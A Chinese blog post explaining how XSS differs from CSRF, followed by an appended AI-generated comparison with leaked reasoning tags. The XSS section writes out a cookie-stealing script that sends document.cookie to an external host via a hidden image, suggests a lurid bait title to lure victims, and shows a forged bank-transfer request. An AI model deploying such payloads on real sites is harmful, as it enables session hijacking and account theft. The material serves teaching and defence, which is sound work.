xss与csrf区别

本文详细介绍了XSS和CSRF两种常见的网站安全漏洞。XSS允许恶意用户注入代码影响其他用户,主要目的是获取受害者的Cookie信息。CSRF则通过伪造合法用户的请求来执行非法操作,对网站构成严重威胁。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS。是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义


举例:


上面的代码就是输入一个网络分享的图片,我在src中直接写入了javascript:alert('xss');操作成功后生成帖子,用IE6、7的用户打开这个我发的这个帖子就会出现下图的alert('xss')弹窗。 如图:


当然我会将标题设计的非常吸引人点击,比如 “陈冠希艳照又有流出2012版(20P无码)” ,这样如果我将里面的alert换成恶意代码,比如:
location.href='<a href='http://www.xss.com?cookie='+document.cookie;用户的cookie我也拿到了,如果服务端session没有设置过期的话,我以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。'>http://www.xss.com?cookie='+document.cookie;用户的cookie我也拿到了,如果服务端session没有设置过期的话,我以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。
这里的location.href只是处于简单这样做,如果做了跳转这个帖子很快会被管理员删除,但是如果我写如下代码,并且帖子的内容也是比较真实的,说不定这个帖子就会祸害很多人:
Js代码   收藏代码
  1. var img = document.createElement('img');  
  2. img.src='<a href='http://www.xss.com?cookie='+document.cookie'>http://www.xss.com?cookie='+document.cookie;  
  3. img.style.display='none';  
  4. document.getElementsByTagName('body')[0].appendChild(img);  

这样就神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点,我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。

CSRF是什么呢?CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性。想要深入理解CSRF的攻击特性我们有必要了解一下网站session的工作原理。

session我想大家都不陌生,无论你用.net或PHP开发过网站的都肯定用过session对象,然而session它是如何工作的呢?如果你不清楚请往下看。
先问个小问题:如果我把浏览器的cookie禁用了,大家认为session还能正常工作吗?

答案是否定的,我在这边举个简单的例子帮助大家理解session。
比如我买了一张高尔夫俱乐部的会员卡,俱乐部给了我一张带有卡号的会员卡。我能享受哪些权利(比如我是高级会员卡可以打19洞和后付费喝饮料,而初级会员卡只能在练习场挥杆)以及我的个人资料都是保存在高尔夫俱乐部的数据库里的。我每次去高尔夫俱乐部只需要出示这张高级会员卡,俱乐部就知道我是谁了,并且为我服务了。

这里我们的高级会员卡卡号 = 保存在cookie的sessionid;
而我的高级会员卡权利和个人信息就是服务端的session对象了。

我们知道http请求是无状态的,也就是说每次http请求都是独立的无关之前的操作的,但是每次http请求都会将本域下的所有cookie作为http请求头的一部分发送给服务端,所以服务端就根据请求中的cookie存放的sessionid去session对象中找到该会员资料了。
当然session的保存方法多种多样,可以保存在文件中,也可以内存里,考虑到分布式的横向扩展我们还是建议把它保存在第三方媒介中,比如redis或者mongodb。

我们理解了session的工作机制后,CSRF也就很容易理解了。CSRF攻击就相当于恶意用户A复制了我的高级会员卡,哪天恶意用户A也可以拿着这张假冒的高级会员卡去高尔夫俱乐部打19洞,享受美味的饮料了,而我在月底就会收到高尔夫俱乐部的账单!

了解CSRF的机制之后,危害性我相信大家已经不言而喻了,我可以伪造某一个用户的身份给其好友发送垃圾信息,这些垃圾信息的超链接可能带有木马程序或者一些欺骗信息(比如借钱之类的),如果CSRF发送的垃圾信息还带有蠕虫链接的话,那些接收到这些有害信息的好友万一打开私信中的连接就也成为了有害信息的散播着,这样数以万计的用户被窃取了资料种植了木马。整个网站的应用就可能在瞬间奔溃,用户投诉,用户流失,公司声誉一落千丈甚至面临倒闭。曾经在MSN上,一个美国的19岁的小伙子Samy利用css的background漏洞几小时内让100多万用户成功的感染了他的蠕虫,虽然这个蠕虫并没有破坏整个应用,只是在每一个用户的签名后面都增加了一句“Samy 是我的偶像”,但是一旦这些漏洞被恶意用户利用,后果将不堪设想,同样的事情也曾经发生在新浪微博上面。

举例:

CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情。

预防措施,请求中加入随机数,让钓鱼网站无法正常伪造请求。
<think>嗯,用户想了解XSSCSRF区别以及详细对比。我需要先回忆一下这两个攻击的基本概念,然后从不同方面进行比较。 首先,XSS是跨站脚本攻击,攻击者在网站上注入恶意脚本,当其他用户访问时,脚本在用户浏览器执行。而CSRF是跨站请求伪造,攻击者诱使用户在已认证的网站上执行非预期的操作。这两个都是前端安全问题,但机制不同。 接下来要对比它们的攻击目标。XSS主要针对用户的浏览器,窃取信息或会话cookie,而CSRF则是利用用户的登录状态,发起恶意请求。比如,XSS可能窃取cookie,CSRF可能在用户不知情下转账。 然后是攻击方式的不同。XSS需要注入恶意代码到网站中,比如在评论里插入脚本。而CSRF则是伪造请求,比如通过图片链接让用户发起请求。比如用户登录了银行网站,访问恶意网站时,图片的src可能是一个转账的URL。 再看依赖条件。XSS需要网站对用户输入过滤不严,而CSRF需要用户已经登录目标站点,并且会话未过期。比如,如果用户没有退出银行网站,点击了恶意链接,就可能触发CSRF。 攻击影响方面,XSS可以窃取数据、劫持会话,甚至控制浏览器。CSRF则是以用户身份执行操作,比如修改设置或转账。但CSRF不能直接获取数据,只能执行操作。 防御方法也有不同。XSS的防御包括输入输出过滤、使用CSP(内容安全策略)等。而CSRF主要用Token验证、检查Referer头、设置SameSite Cookie属性。 另外,用户可能混淆XSSCSRF,因为它们都涉及跨站,但攻击方式不同。需要强调XSS是执行恶意脚本,而CSRF是伪造请求。 还需要考虑用户的实际应用场景。比如,XSS常见于用户输入展示的地方,如论坛评论;CSRF多见于需要身份验证的操作,如修改密码或支付。 可能需要举例子来说明两者的区别。比如XSS的例子是注入脚本盗取cookie,而CSRF的例子是伪造转账请求。 最后,总结两者的关键区别,帮助用户清晰理解。同时,生成相关问题可以引导用户进一步学习防御措施或具体案例。 现在需要确保回答结构清晰,分点对比,使用正确的中文术语,并引用提供的参考资料。注意引用标识的位置要自然,比如在提到持久性XSS时引用[^4],在CSRF步骤时引用[^3]。</think>### XSS(跨站脚本攻击)CSRF(跨站请求伪造)的详细对比 #### 1. **攻击原理目标** - **XSS**:攻击者通过注入恶意脚本到目标网站中,当用户访问被感染的页面时,脚本在用户浏览器执行,窃取会话Cookie、用户数据或篡改页面内容[^1][^4]。例如: ```html <!-- 用户输入被直接渲染到页面 --> <div>用户评论:<script>窃取Cookie并发送到攻击者服务器</script></div> ``` - **CSRF**:攻击者诱导用户访问恶意页面,利用用户已登录目标网站的凭证,伪造请求以执行非授权操作(如转账、修改密码)。例如: ```html <!-- 用户访问恶意页面时触发请求 --> <img src="https://bank.com/transfer?to=attacker&amount=1000" /> ``` #### 2. **攻击依赖条件** - **XSS**:需要网站未对用户输入进行过滤或转义,导致恶意代码被存储或反射到页面中。 - **CSRF**:需要用户已登录目标网站且会话未过期,同时目标接口未设置有效的防护机制。 #### 3. **攻击类型** - **XSS**: - **存储型**:恶意代码被永久存储于服务器(如评论区),长期影响用户。 - **反射型**:恶意代码通过URL参数传递,需用户主动点击触发。 - **DOM型**:完全在客户端执行,不依赖服务器响应。 - **CSRF**:无具体分类,主要通过伪造GET/POST请求实现。 #### 4. **攻击影响** - **XSS**: - 窃取用户敏感信息(如Cookie、密码)。 - 篡改页面内容或重定向到钓鱼网站。 - 发起进一步攻击(如键盘记录)[^2]。 - **CSRF**: - 以用户身份执行非授权操作(如转账、修改账户设置)。 - 无法直接获取用户数据,但可间接造成财产或信息损失。 #### 5. **防御措施** - **XSS防御**: - **输入过滤输出转义**:对用户输入的内容进行验证,并对动态渲染的内容使用HTML转义(如将`<`转为`<`)。 - **内容安全策略(CSP)**:通过HTTP头限制脚本来源,禁止内联脚本执行。 - **HttpOnly Cookie**:防止JavaScript访问敏感Cookie。 - **CSRF防御**: - **Token验证**:在表单或请求中嵌入随机Token,服务器验证其有效性。 - **SameSite Cookie属性**:限制Cookie在跨站请求中的发送(如`SameSite=Strict`)。 - **检查Referer头**:验证请求来源是否合法(但可能被篡改)[^3]。 #### 6. **关键区别总结** | **对比维度** | **XSS** | **CSRF** | |--------------------|----------------------------------|---------------------------------| | 攻击目标 | 窃取用户数据或劫持会话 | 伪造用户身份执行操作 | | 依赖条件 | 网站存在漏洞,未过滤用户输入 | 用户已登录且会话有效 | | 攻击者是否需要交互 | 需要用户访问被感染页面 | 需要用户触发恶意请求 | | 防御核心 | 输入过滤、CSP、HttpOnly | Token、SameSite Cookie、Referer | --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值